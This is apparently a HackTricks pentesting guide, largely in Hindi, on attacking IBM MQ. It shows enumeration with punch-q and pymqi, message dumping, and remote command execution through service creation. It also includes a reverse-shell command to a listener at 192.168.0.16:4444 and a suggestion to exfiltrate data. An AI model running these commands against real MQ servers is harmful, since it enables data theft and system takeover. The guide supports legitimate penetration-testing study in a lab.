1414 - Pentesting IBM MQ

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Basic information

IBM MQ एक IBM तकनीक है जो संदेश कतारों का प्रबंधन करती है। अन्य message broker तकनीकों की तरह, यह उत्पादकों और उपभोक्ताओं के बीच जानकारी प्राप्त करने, संग्रहीत करने, संसाधित करने और वर्गीकृत करने के लिए समर्पित है।

डिफ़ॉल्ट रूप से, यह IBM MQ TCP पोर्ट 1414 को उजागर करता है। कभी-कभी, HTTP REST API पोर्ट 9443 पर उजागर हो सकता है। मेट्रिक्स (Prometheus) को TCP पोर्ट 9157 से भी एक्सेस किया जा सकता है।

IBM MQ TCP पोर्ट 1414 का उपयोग संदेशों, कतारों, चैनलों, ... को हेरफेर करने के लिए किया जा सकता है, लेकिन इंस्टेंस को नियंत्रित करने के लिए भी

IBM एक बड़ा तकनीकी दस्तावेज़ प्रदान करता है जो https://www.ibm.com/docs/en/ibm-mq पर उपलब्ध है।

Tools

आसान शोषण के लिए एक सुझाया गया उपकरण है punch-q, जिसमें Docker का उपयोग किया गया है। यह उपकरण सक्रिय रूप से Python पुस्तकालय pymqi का उपयोग कर रहा है।

एक अधिक मैनुअल दृष्टिकोण के लिए, Python पुस्तकालय pymqi का उपयोग करें। IBM MQ dependencies की आवश्यकता है।

Installing pymqi

IBM MQ dependencies को स्थापित और लोड करने की आवश्यकता है:

  1. https://login.ibm.com/ पर एक खाता (IBMid) बनाएं।

  2. डिकंप्रेस करें (tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz)।

  3. लाइसेंस शर्तों को स्वीकार करने के लिए sudo ./mqlicense.sh चलाएं।

यदि आप Kali Linux पर हैं, तो फ़ाइल mqlicense.sh को संशोधित करें: निम्नलिखित पंक्तियों को हटा दें/कमेंट करें (पंक्तियों 105-110 के बीच):

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
 then
   echo "ERROR: This package is incompatible with this system"
   echo "       This package was built for ${BUILD_PLATFORM}"
   exit 1
fi
  1. इन पैकेजों को स्थापित करें:

sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. फिर, अस्थायी रूप से .so फ़ाइलों को LD में जोड़ें: export LD_LIBRARY_PATH=/opt/mqm/lib64, अन्य उपकरणों को इन निर्भरताओं का उपयोग करने से पहले चलाने से पहले।

फिर, आप प्रोजेक्ट pymqi को क्लोन कर सकते हैं: इसमें दिलचस्प कोड स्निपेट, स्थिरांक, ... शामिल हैं। या आप सीधे लाइब्रेरी को स्थापित कर सकते हैं: pip install pymqi

Using punch-q

With Docker

बस उपयोग करें: sudo docker run --rm -ti leonjza/punch-q

Without Docker

प्रोजेक्ट punch-q को क्लोन करें फिर स्थापना के लिए रीडमी का पालन करें (pip install -r requirements.txt && python3 setup.py install)।

इसके बाद, इसे punch-q कमांड के साथ उपयोग किया जा सकता है।

Enumeration

आप punch-q या pymqi के साथ क्यू प्रबंधक का नाम, उपयोगकर्ता, चैनल और क्यू को सूचीबद्ध करने का प्रयास कर सकते हैं।

Queue Manager

कभी-कभी, क्यू प्रबंधक का नाम प्राप्त करने के खिलाफ कोई सुरक्षा नहीं होती है:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

Channels

punch-q एक आंतरिक (संशोधित करने योग्य) शब्द सूची का उपयोग कर रहा है ताकि मौजूदा चैनलों को खोजा जा सके। उपयोग का उदाहरण:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

यह होता है कि कुछ IBM MQ उदाहरण अप्रमाणित MQ अनुरोधों को स्वीकार करते हैं, इसलिए --username / --password की आवश्यकता नहीं है। बेशक, पहुँच अधिकार भी भिन्न हो सकते हैं।

जैसे ही हमें एक चैनल नाम मिलता है (यहाँ: DEV.ADMIN.SVRCONN), हम सभी अन्य चैनलों की गणना कर सकते हैं।

गणना मूल रूप से इस कोड स्निपेट code/examples/dis_channels.py से की जा सकती है pymqi:

import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

... लेकिन punch-q उस भाग को भी एम्बेड करता है (और अधिक जानकारी के साथ!)। इसे लॉन्च किया जा सकता है:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

Queues

एक कोड स्निपेट है pymqi (dis_queues.py) लेकिन punch-q कतारों के बारे में अधिक जानकारी प्राप्त करने की अनुमति देता है:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

Exploit

Dump messages

आप कतार(ों)/चैनल(ों) को लक्षित कर सकते हैं ताकि उनसे संदेशों को स्निफ़/डंप किया जा सके (गैर-नाशक ऑपरेशन)। Examples:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

सभी पहचाने गए कतारों पर दोहराने में संकोच न करें।

कोड निष्पादन

कुछ विवरण आगे बढ़ने से पहले: IBM MQ को कई तरीकों से नियंत्रित किया जा सकता है: MQSC, PCF, नियंत्रण कमांड। कुछ सामान्य सूचियाँ IBM MQ दस्तावेज़ में पाई जा सकती हैं। PCF (प्रोग्रामेबल कमांड फॉर्मेट्स) पर हम दूरस्थ रूप से उदाहरण के साथ बातचीत करने के लिए ध्यान केंद्रित कर रहे हैं। punch-q और इसके अलावा pymqi PCF इंटरैक्शन पर आधारित हैं।

आप PCF कमांड की एक सूची पा सकते हैं:

एक दिलचस्प कमांड है MQCMD_CREATE_SERVICE और इसका दस्तावेज़ यहाँ उपलब्ध है। यह एक StartCommand को तर्क के रूप में लेता है जो उदाहरण पर एक स्थानीय प्रोग्राम की ओर इशारा करता है (उदाहरण: /bin/sh)।

दस्तावेज़ में कमांड का एक चेतावनी भी है: "ध्यान दें: यह कमांड एक उपयोगकर्ता को mqm अधिकार के साथ एक मनमाना कमांड चलाने की अनुमति देती है। यदि इस कमांड का उपयोग करने के लिए अधिकार दिए जाते हैं, तो एक दुर्भावनापूर्ण या लापरवाह उपयोगकर्ता एक सेवा परिभाषित कर सकता है जो आपके सिस्टम या डेटा को नुकसान पहुंचाती है, उदाहरण के लिए, आवश्यक फ़ाइलों को हटाकर।"

नोट: हमेशा IBM MQ दस्तावेज़ (प्रशासन संदर्भ) के अनुसार, /admin/action/qmgr/{qmgrName}/mqsc पर एक HTTP एंडपॉइंट भी है जो सेवा निर्माण के लिए समकक्ष MQSC कमांड (DEFINE SERVICE) चलाने के लिए है। यह पहलू यहाँ अभी तक कवर नहीं किया गया है।

दूरस्थ प्रोग्राम निष्पादन के लिए PCF के साथ सेवा निर्माण / हटाने को punch-q द्वारा किया जा सकता है:

उदाहरण 1

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

IBM MQ के लॉग में, आप पढ़ सकते हैं कि कमांड सफलतापूर्वक निष्पादित हुआ है:

2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

आप मशीन पर मौजूदा प्रोग्रामों की गणना भी कर सकते हैं (यहाँ /bin/doesnotexist ... मौजूद नहीं है):

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

ध्यान रखें कि प्रोग्राम लॉन्च असिंक्रोनस है। इसलिए आपको एक्सप्लॉइट का लाभ उठाने के लिए एक दूसरा आइटम चाहिए (रिवर्स शेल के लिए लिस्नर, विभिन्न सेवा पर फ़ाइल निर्माण, नेटवर्क के माध्यम से डेटा निकासी ...)

उदाहरण 2

आसान रिवर्स शेल के लिए, punch-q दो रिवर्स शेल पेलोड भी प्रदान करता है:

  • एक bash के साथ

  • एक perl के साथ

बिल्कुल, आप execute कमांड के साथ एक कस्टम बना सकते हैं।

bash के लिए:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

perl के लिए:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Custom PCF

आप IBM MQ दस्तावेज़ में गहराई से जा सकते हैं और pymqi पायथन पुस्तकालय का सीधे उपयोग कर सकते हैं ताकि punch-q में लागू नहीं किए गए विशिष्ट PCF कमांड का परीक्षण किया जा सके।

Example:

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

यदि आप स्थायी नाम नहीं ढूंढ पा रहे हैं, तो आप IBM MQ दस्तावेज़ का संदर्भ ले सकते हैं।

MQCMD_REFRESH_CLUSTER का उदाहरण (दशमलव = 73)। इसे MQCA_CLUSTER_NAME (दशमलव = 2029) पैरामीटर की आवश्यकता है, जो * हो सकता है (दस्तावेज़: ):

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
    args = {2029: "*"}
    response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
    print("Error")
else:
    print(response)

qmgr.disconnect()

परीक्षण वातावरण

यदि आप IBM MQ के व्यवहार और शोषण का परीक्षण करना चाहते हैं, तो आप Docker पर आधारित एक स्थानीय वातावरण सेट कर सकते हैं:

  1. ibm.com और cloud.ibm.com पर एक खाता होना।

  2. निम्नलिखित के साथ एक कंटेनराइज्ड IBM MQ बनाएं:

sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2

डिफ़ॉल्ट रूप से, प्रमाणीकरण सक्षम है, उपयोगकर्ता नाम admin है और पासवर्ड passw0rd है (पर्यावरण चर MQ_ADMIN_PASSWORD)। यहाँ, कतार प्रबंधक का नाम MYQUEUEMGR पर सेट किया गया है (चर MQ_QMGR_NAME)।

आपके पास IBM MQ चालू और चल रहा होना चाहिए और इसके पोर्ट्स खोले हुए होने चाहिए:

 sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:9.3.2.0-r2   "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

IBM MQ डॉकर इमेज के पुराने संस्करण यहाँ हैं: https://hub.docker.com/r/ibmcom/mq/.

References

Last updated